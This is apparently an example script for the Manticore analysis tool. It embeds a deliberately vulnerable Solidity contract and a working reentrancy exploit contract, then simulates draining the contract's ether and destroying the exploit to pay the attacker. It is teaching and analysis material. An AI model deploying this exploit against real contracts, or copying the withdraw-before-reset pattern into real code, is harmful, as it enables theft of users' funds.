from manticore.ethereum import ManticoreEVM, ABI
################ Script #######################

m = ManticoreEVM()
m.verbosity(0)
#The contract account to analyze
contract_source_code = '''
pragma solidity ^0.4.15;

contract Reentrance {
    mapping (address => uint) userBalance;
   
    function getBalance(address u) constant returns(uint){
        return userBalance[u];
    }

    function addToBalance() payable{
        userBalance[msg.sender] += msg.value;
    }   

    function withdrawBalance(){
        // send userBalance[msg.sender] ethers to msg.sender
        // if mgs.sender is a contract, it will call its fallback function
        if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
           revert();
        }
        userBalance[msg.sender] = 0;
    }   
}
//Function signatures: 
//c0e317fb: addToBalance()
//f8b2cb4f: getBalance(address)
//5fd8c710: withdrawBalance()
'''

exploit_source_code = '''
pragma solidity ^0.4.15;

contract GenericReentranceExploit {
    int reentry_reps=10; 
    address vulnerable_contract;
    address owner;
    bytes reentry_attack_string;

    function GenericReentranceExploit(){
        owner = msg.sender;
    }

    function set_vulnerable_contract(address _vulnerable_contract){
        vulnerable_contract = _vulnerable_contract ;
    }

    function set_reentry_attack_string(bytes _reentry_attack_string){
        reentry_attack_string = _reentry_attack_string;
    }

    function set_reentry_reps(int reps){
        reentry_reps = reps;
    }

    function proxycall(bytes data) payable{
        // call addToBalance with msg.value ethers
        vulnerable_contract.call.value(msg.value)(data);
    }

    function get_money(){
        selfdestruct(owner);
    }

    function () payable{
        // reentry_reps is used to execute the attack a number of times
        // otherwise there is a loop between withdrawBalance and the fallback function
        if (reentry_reps > 0){
            reentry_reps = reentry_reps - 1;
            vulnerable_contract.call(reentry_attack_string);
        }
    }
}
'''


#Initialize user and contracts
user_account = m.create_account(balance=100000000000000000)
attacker_account = m.create_account(balance=100000000000000000)

contract_account = m.solidity_create_contract(contract_source_code, owner=user_account) #Not payable
m.world.set_balance(contract_account, 1000000000000000000)  #give it some ether

exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account)

print "[+] Setup the exploit"
exploit_account.set_vulnerable_contract(contract_account)
exploit_account.set_reentry_reps(30)

print "[+] Setting attack string"
#'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10',
reentry_string = ABI.make_function_id('withdrawBalance()')
exploit_account.set_reentry_attack_string(reentry_string)

print "[+] Initial world state"
print " attacker_account %x balance: %d"% (attacker_account, m.get_balance(attacker_account))
print " exploit_account %x balance: %d"%  (exploit_account, m.get_balance(exploit_account))
print " user_account %x balance: %d"%  (user_account, m.get_balance(user_account))
print " contract_account %x balance: %d"%  (contract_account, m.get_balance(contract_account))


#User deposits all in contract
print "[+] user deposited some."
contract_account.addToBalance(value=100000000000000000)


print "[+] Let attacker deposit some small amount using exploit"
exploit_account.proxycall(ABI.make_function_id('addToBalance()'), value=100000000000000000)

print "[+] Let attacker extract all using exploit" 
exploit_account.proxycall(ABI.make_function_id('withdrawBalance()'))

print "[+] Let attacker destroy the exploit andprofit" 
exploit_account.get_money() 

print " attacker_account %x balance: %d"% (attacker_account, m.get_balance(attacker_account))
print " user_account %x balance: %d"%  (user_account, m.get_balance(user_account))
print " contract_account %x balance: %d"%  (contract_account, m.get_balance(contract_account))

m.finalize()
print "[+] Look for results in %s"% m.workspace